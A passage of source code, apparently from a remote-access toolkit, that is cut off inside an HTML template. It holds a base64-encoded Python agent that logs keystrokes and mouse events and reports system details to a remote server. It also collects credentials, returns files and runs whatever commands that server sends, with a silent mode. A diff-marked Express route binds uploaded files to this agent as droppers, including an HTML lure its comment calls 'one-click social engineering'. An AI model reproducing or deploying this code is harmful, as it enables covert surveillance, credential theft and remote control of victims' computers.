ZXlfc3RyID0gc3RyKGtleSkKICAgIF9yZWNvcmRfZXZlbnQoImtleXN0cm9rZSIsIHsia2V5Ijoga2V5X3N0cn0pCgpkZWYgX29uX2NsaWNrKHgsIHksIGJ1dHRvbiwgcHJlc3NlZCk6CiAgICBpZiBwcmVzc2VkOgogICAgICAgIF9yZWNvcmRfZXZlbnQoImNsaWNrIiwgeyJ4IjogeCwgInkiOiB5LCAiYnV0dG9uIjogc3RyKGJ1dHRvbil9KQoKZGVmIF9vbl9zY3JvbGwoeCwgeSwgZHgsIGR5KToKICAgIF9yZWNvcmRfZXZlbnQoInNjcm9sbCIsIHsieCI6IHgsICJ5IjogeSwgImR4IjogZHgsICJkeSI6IGR5fSkKCmRlZiBzdGFydF9pbnB1dF9jYXB0dXJlKCk6CiAgICAiIiJTdGFydCBrZXlib2FyZCBhbmQgbW91c2UgbGlzdGVuZXJzIGlmIHB5bnB1dCBpcyBhdmFpbGFibGUuIiIiCiAgICBpZiBub3QgSU5QVVRfQ0FQVFVSRV9FTkFCTEVEOgogICAgICAgIHJldHVybiBGYWxzZQogICAgdHJ5OgogICAgICAgIGtiX2xpc3RlbmVyID0ga2V5Ym9hcmQuTGlzdGVuZXIob25fcHJlc3M9X29uX2tleV9wcmVzcykKICAgICAgICBtc19saXN0ZW5lciA9IG1vdXNlLkxpc3RlbmVyKG9uX2NsaWNrPV9vbl9jbGljaywgb25fc2Nyb2xsPV9vbl9zY3JvbGwpCiAgICAgICAga2JfbGlzdGVuZXIuZGFlbW9uID0gVHJ1ZQogICAgICAgIG1zX2xpc3RlbmVyLmRhZW1vbiA9IFRydWUKICAgICAgICBrYl9saXN0ZW5lci5zdGFydCgpCiAgICAgICAgbXNfbGlzdGVuZXIuc3RhcnQoKQogICAgICAgIHJldHVybiBUcnVlCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHJldHVybiBGYWxzZQoKZGVmIGZsdXNoX2lucHV0X2V2ZW50cyhzZXJ2ZXJfdXJsLCBub2RlX2lkLCBob3N0bmFtZSk6CiAgICAiIiJTZW5kIGNhcHR1cmVkIGlucHV0IGV2ZW50cyB0byB0aGUgbWFzdGVyIHNlcnZlci4iIiIKICAgIGdsb2JhbCBjYXB0dXJlZF9ldmVudHMKICAgIGlmIG5vdCBjYXB0dXJlZF9ldmVudHM6CiAgICAgICAgcmV0dXJuCiAgICBldmVudHNfdG9fc2VuZCA9IGNhcHR1cmVkX2V2ZW50c1s6XQogICAgY2FwdHVyZWRfZXZlbnRzID0gW10KICAgIHBheWxvYWQgPSB7CiAgICAgICAgIm5vZGVJZCI6IG5vZGVfaWQsCiAgICAgICAgImhvc3RuYW1lIjogaG9zdG5hbWUsCiAgICAgICAgImV2ZW50cyI6IGV2ZW50c190b19zZW5kCiAgICB9CiAgICBodHRwX3Bvc3QoZiJ7c2VydmVyX3VybH0vYXBpL2FnZW50L2lucHV0LWNhcHR1cmUiLCBwYXlsb2FkKQoKZGVmIG1haW4oKToKICAgIGdsb2JhbCBsYXN0X2xvZ19jaGVja190aW1lLCBoZWFydGJlYXRfaW50ZXJ2YWwsIG5vZGVfdGFncywgcXVpZXRfbW9kZQogICAgcGFyc2VyID0gYXJncGFyc2UuQXJndW1lbnRQYXJzZXIoZGVzY3JpcHRpb249Ik5leHVzT3BzIENyb3NzLVBsYXRmb3JtIE5vZGUgQWdlbnQiKQogICAgcGFyc2VyLmFkZF9hcmd1bWVudCgiLS1zZXJ2ZXIiLCBkZWZhdWx0PSJodHRwczovL2FnZW50LnRoZXRlbXBsZW9mZG9vbS5jb20iLCBoZWxwPSJEYXNoYm9hcmQgc2VydmVyIFVSTCBlbmRwb2ludCIpCiAgICBwYXJzZXIuYWRkX2FyZ3VtZW50KCItLXNpbGVudCIsIGFjdGlvbj0ic3RvcmVfdHJ1ZSIsIGhlbHA9IlN1cHByZXNzIGFsbCBjb25zb2xlIG91dHB1dCIpCiAgICBwYXJzZXIuYWRkX2FyZ3VtZW50KCItLXF1aWV0IiwgYWN0aW9uPSJzdG9yZV90cnVlIiwgaGVscD0iUXVpZXQgbW9kZTogc3VwcHJlc3MgYmFubmVyIGFuZCBleGVjIG1lc3NhZ2VzIikKICAgIGFyZ3MgPSBwYXJzZXIucGFyc2VfYXJncygpCgogICAgc2lsZW50ID0gYXJncy5zaWxlbnQgICMgc3VwcHJlc3MgYmFubmVyIG9ubHkg4oCUIGtlZXAgbG9ncyBmbG93aW5nIGZvciBsYXVuY2hkL3N5c3RlbWQKICAgIGdsb2JhbCBxdWlldF9tb2RlCiAgICBxdWlldF9tb2RlID0gYXJncy5xdWlldCBvciBhcmdzLnNpbGVudAoKICAgIHNlcnZlcl91cmwgPSBhcmdzLnNlcnZlci5yc3RyaXAoJy8nKQogICAgaG9zdG5hbWUgPSBzb2NrZXQuZ2V0aG9zdG5hbWUoKQogICAgc3lzdGVtX29zID0gcGxhdGZvcm0uc3lzdGVtKCkKICAgIGFyY2ggPSBwbGF0Zm9ybS5tYWNoaW5lKCkKICAgIGlwID0gZ2V0X2lwX2FkZHJlc3MoKQogICAgbm9kZV9pZCA9IGYibm9kZS17aG9zdG5hbWUubG93ZXIoKX0te2lwLnJlcGxhY2UoJy4nLCAnJyl9IgoKICAgIGlmIG5vdCBxdWlldF9tb2RlOgogICAgICAgIHByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpCiAgICAgICAgcHJpbnQoIiAgICAgIE5leHVzT3BzIENyb3NzLVBsYXRmb3JtIE5vZGUgQWdlbnQgICAgICAgICAgIikKICAgICAgICBwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQogICAgICAgIHByaW50KGYiTm9kZSBIb3N0bmFtZSA6IHtob3N0bmFtZX0iKQogICAgICAgIHByaW50KGYiUGxhdGZvcm0gICAgICA6IHtzeXN0ZW1fb3N9ICh7YXJjaH0pIikKICAgICAgICBwcmludChmIkxvY2FsIElQICAgICAgOiB7aXB9IikKICAgICAgICBwcmludChmIlNlcnZlciBFbmRwb2ludDoge3NlcnZlcl91cmx9IikKICAgICAgICBwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQoKICAgICMgUmVnaXN0ZXIgTm9kZQogICAgcmVnX3BheWxvYWQgPSB7CiAgICAgICAgIm5vZGVJZCI6IG5vZGVfaWQsCiAgICAgICAgImhvc3RuYW1lIjogaG9zdG5hbWUsCiAgICAgICAgInBsYXRmb3JtIjogc3lzdGVtX29zLmxvd2VyKCksCiAgICAgICAgImFyY2giOiBhcmNoLAogICAgICAgICJpcCI6IGlwLAogICAgICAgICJvc05hbWUiOiBmIntzeXN0ZW1fb3N9IHtwbGF0Zm9ybS5yZWxlYXNlKCl9IiwKICAgICAgICAidGFncyI6IG5vZGVfdGFncwogICAgfQoKICAgIGlmIG5vdCBxdWlldF9tb2RlOgogICAgICAgIHByaW50KCJbKl0gUmVnaXN0ZXJpbmcgbm9kZSB3aXRoIGNlbnRyYWwgZW5kcG9pbnQuLi4iKQogICAgcmVzID0gaHR0cF9wb3N0KGYie3NlcnZlcl91cmx9L2FwaS9hZ2VudC9yZWdpc3RlciIsIHJlZ19wYXlsb2FkKQogICAgaWYgcmVzIGFuZCByZXMuZ2V0KCJzdWNjZXNzIikgYW5kIG5vdCBxdWlldF9tb2RlOgogICAgICAgIHByaW50KGYi4pyFIFJlZ2lzdGVyZWQgYXMgbm9kZSBJRDoge25vZGVfaWR9IikKCiAgICAjIFN0YXJ0IGlucHV0IGNhcHR1cmUgKGtleXN0cm9rZXMsIGNsaWNrcywgc2Nyb2xsKQogICAgY2FwdHVyZV9zdGFydGVkID0gc3RhcnRfaW5wdXRfY2FwdHVyZSgpCiAgICBpZiBub3QgcXVpZXRfbW9kZToKICAgICAgICBpZiBjYXB0dXJlX3N0YXJ0ZWQ6CiAgICAgICAgICAgIHByaW50KCJbKl0gSW5wdXQgY2FwdHVyZSBhY3RpdmUgKGtleXN0cm9rZXMgKyBtb3VzZSBldmVudHMpIikKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCgiWyFdIElucHV0IGNhcHR1cmUgdW5hdmFpbGFibGUgKGluc3RhbGwgcHlucHV0OiBwaXAgaW5zdGFsbCBweW5wdXQpIikKCiAgICBsYXN0X2lucHV0X2ZsdXNoID0gdGltZS50aW1lKCkKICAgIGJhY2tvZmYgPSAxICAjIFR1bm5lbCByZWNvbm5lY3Rpb24gYmFja29mZiBpbiBzZWNvbmRzCgogICAgd2hpbGUgVHJ1ZToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGNwdSA9IGdldF9jcHVfdXNhZ2UoKQogICAgICAgICAgICBtZW0gPSBnZXRfbWVtb3J5X3VzYWdlKCkKICAgICAgICAgICAgZGlzayA9IGdldF9kaXNrX3VzYWdlKCkKICAgICAgICAgICAgdXB0aW1lID0gZ2V0X3VwdGltZV9zZWNvbmRzKCkKCiAgICAgICAgICAgIGhlYXJ0YmVhdF9wYXlsb2FkID0gewogICAgICAgICAgICAgICAgIm5vZGVJZCI6IG5vZGVfaWQsCiAgICAgICAgICAgICAgICAiY3B1VXNhZ2UiOiBjcHUsCiAgICAgICAgICAgICAgICAibWVtVXNhZ2UiOiBtZW0sCiAgICAgICAgICAgICAgICAiZGlza1VzYWdlIjogZGlzaywKICAgICAgICAgICAgICAgICJ1cHRpbWUiOiB1cHRpbWUsCiAgICAgICAgICAgICAgICAicHJvY2Vzc0NvdW50IjogZ2V0X3Byb2Nlc3NfY291bnQoKSwKICAgICAgICAgICAgICAgICJ0YWdzIjogbm9kZV90YWdzLAogICAgICAgICAgICAgICAgImhlYXJ0YmVhdEludGVydmFsIjogaGVhcnRiZWF0X2ludGVydmFsCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHJlcyA9IGh0dHBfcG9zdChmIntzZXJ2ZXJfdXJsfS9hcGkvYWdlbnQvaGVhcnRiZWF0IiwgaGVhcnRiZWF0X3BheWxvYWQpCgogICAgICAgICAgICBub3cgPSB0aW1lLnRpbWUoKQogICAgICAgICAgICBpZiBub3cgLSBsYXN0X2xvZ19jaGVja190aW1lID4gMTU6CiAgICAgICAgICAgICAgICBsb2dzID0gY29sbGVjdF9yZWNlbnRfc3lzdGVtX2xvZ3MoKQogICAgICAgICAgICAgICAgaWYgbG9nczoKICAgICAgICAgICAgICAgICAgICBodHRwX3Bvc3QoZiJ7c2VydmVyX3VybH0vYXBpL2FnZW50L2xvZ3MiLCB7CiAgICAgICAgICAgICAgICAgICAgICAgICJub2RlSWQiOiBub2RlX2lkLAogICAgICAgICAgICAgICAgICAgICAgICAiaG9zdG5hbWUiOiBob3N0bmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgImxvZ3MiOiBsb2dzCiAgICAgICAgICAgICAgICAgICAgfSkKICAgICAgICAgICAgICAgIGxhc3RfbG9nX2NoZWNrX3RpbWUgPSBub3cKCiAgICAgICAgICAgICMgRmx1c2ggY2FwdHVyZWQgaW5wdXQgZXZlbnRzIGV2ZXJ5IDEwIHNlY29uZHMKICAgICAgICAgICAgaWYgbm93IC0gbGFzdF9pbnB1dF9mbHVzaCA+IDEwOgogICAgICAgICAgICAgICAgZmx1c2hfaW5wdXRfZXZlbnRzKHNlcnZlcl91cmwsIG5vZGVfaWQsIGhvc3RuYW1lKQogICAgICAgICAgICAgICAgbGFzdF9pbnB1dF9mbHVzaCA9IG5vdwoKICAgICAgICAgICAgaWYgcmVzIGFuZCAiY29tbWFuZHMiIGluIHJlcyBhbmQgcmVzWyJjb21tYW5kcyJdOgogICAgICAgICAgICAgICAgZm9yIGNtZF9pdGVtIGluIHJlc1siY29tbWFuZHMiXToKICAgICAgICAgICAgICAgICAgICBjbWRfaWQgPSBjbWRfaXRlbS5nZXQoImlkIikKICAgICAgICAgICAgICAgICAgICBhY3Rpb25fdHlwZSA9IGNtZF9pdGVtLmdldCgiYWN0aW9uVHlwZSIsICJyYXdfY29tbWFuZCIpCiAgICAgICAgICAgICAgICAgICAgcGF5bG9hZCA9IGNtZF9pdGVtLmdldCgicGF5bG9hZCIsIHt9KQogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIGlmICJjb21tYW5kIiBpbiBjbWRfaXRlbSBhbmQgbm90IHBheWxvYWQ6CiAgICAgICAgICAgICAgICAgICAgICAgIHBheWxvYWRbImNvbW1hbmQiXSA9IGNtZF9pdGVtLmdldCgiY29tbWFuZCIpCgogICAgICAgICAgICAgICAgICAgIG91dHB1dCwgZXhpdF9jb2RlID0gZXhlY3V0ZV9zdHJ1Y3R1cmVkX2FjdGlvbihhY3Rpb25fdHlwZSwgcGF5bG9hZCkKCiAgICAgICAgICAgICAgICAgICAgIyBDaGVjayBmb3IgSlNPTi1lbmNvZGVkIHNwZWNpYWwgcmVzdWx0IHR5cGVzCiAgICAgICAgICAgICAgICAgICAgc3BlY2lhbCA9IE5vbmUKICAgICAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIG91dHB1dC5zdGFydHN3aXRoKCd7Jyk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcGVjaWFsID0ganNvbi5sb2FkcyhvdXRwdXQpCiAgICAgICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCgogICAgICAgICAgICAgICAgICAgIGlmIHNwZWNpYWwgYW5kIHNwZWNpYWwuZ2V0KCJ0eXBlIikgPT0gImZpbGVfcmVzdWx0IjoKICAgICAgICAgICAgICAgICAgICAgICAgIyBSb3V0ZSB0byBmaWxlLXJlc3VsdCBlbmRwb2ludAogICAgICAgICAgICAgICAgICAgICAgICBodHRwX3Bvc3QoZiJ7c2VydmVyX3VybH0vYXBpL2FnZW50L2ZpbGUtcmVzdWx0IiwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgImNvbW1hbmRJZCI6IGNtZF9pZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJub2RlSWQiOiBub2RlX2lkLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImhvc3RuYW1lIjogaG9zdG5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZmlsZW5hbWUiOiBzcGVjaWFsLmdldCgiZmlsZW5hbWUiLCAidW5rbm93biIpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImRhdGEiOiBzcGVjaWFsLmdldCgiZGF0YSIsICIiKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaW1lIjogc3BlY2lhbC5nZXQoIm1pbWUiLCAiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIikKICAgICAgICAgICAgICAgICAgICAgICAgfSkKICAgICAgICAgICAgICAgICAgICBlbGlmIHNwZWNpYWwgYW5kIHNwZWNpYWwuZ2V0KCJ0eXBlIikgPT0gImhhcnZlc3RfcmVzdWx0IjoKICAgICAgICAgICAgICAgICAgICAgICAgaHR0cF9wb3N0KGYie3NlcnZlcl91cmx9L2FwaS9hZ2VudC9oYXJ2ZXN0LXJlc3VsdCIsIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjb21tYW5kSWQiOiBjbWRfaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAibm9kZUlkIjogbm9kZV9pZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJob3N0bmFtZSI6IGhvc3RuYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImNyZWRlbnRpYWxzIjogc3BlY2lhbC5nZXQoImNyZWRlbnRpYWxzIiwgW10pCiAgICAgICAgICAgICAgICAgICAgICAgIH0pCiAgICAgICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAgICAgaHR0cF9wb3N0KGYie3NlcnZlcl91cmx9L2FwaS9hZ2VudC9jb21tYW5kLXJlc3VsdCIsIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjb21tYW5kSWQiOiBjbWRfaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAibm9kZUlkIjogbm9kZV9pZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJvdXRwdXQiOiBvdXRwdXQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZXhpdENvZGUiOiBleGl0X2NvZGUKICAgICAgICAgICAgICAgICAgICAgICAgfSkKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICBpZiBub3QgcXVpZXRfbW9kZToKICAgICAgICAgICAgICAgIHByaW50KGYiWyFdIENvbm5lY3Rpb24gZXJyb3I6IHtlfS4gUmV0cnlpbmcgaW4ge2JhY2tvZmZ9cy4uLiIpCiAgICAgICAgICAgIHRpbWUuc2xlZXAoYmFja29mZikKICAgICAgICAgICAgYmFja29mZiA9IG1pbihiYWNrb2ZmICogMiwgNjApCiAgICAgICAgICAgIGNvbnRpbnVlCgogICAgICAgIGJhY2tvZmYgPSAxICAjIFJlc2V0IG9uIHN1Y2Nlc3MKICAgICAgICB0aW1lLnNsZWVwKGhlYXJ0YmVhdF9pbnRlcnZhbCkKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICBtYWluKCkK"; -app.post('/api/bind', upload.single('file'), (req, res) => { - if (!req.file) { - return res.status(400).json({ error: 'No file uploaded. Use field name "file".' }); - } - - const originalName = req.file.originalname; - const b64Content = req.file.buffer.toString('base64'); - const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content]; - const agentLines = AGENT_B64.match(/.{1,76}/g) || [AGENT_B64]; - const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; - const format = (req.query.format || 'sh').toLowerCase(); - - let dropper, boundName, contentType; - - // ── HTML Payload (one-click social engineering, auto-downloads file) ── - if (format === 'html') { - const safeName = originalName.replace(/"/g, '"').replace(/\\/g, '\\\\'); - const safeB64 = b64Content; - dropper = ` -${safeName} - -
-
-

Opening your file…

-

${safeName}

- Download & Open -
-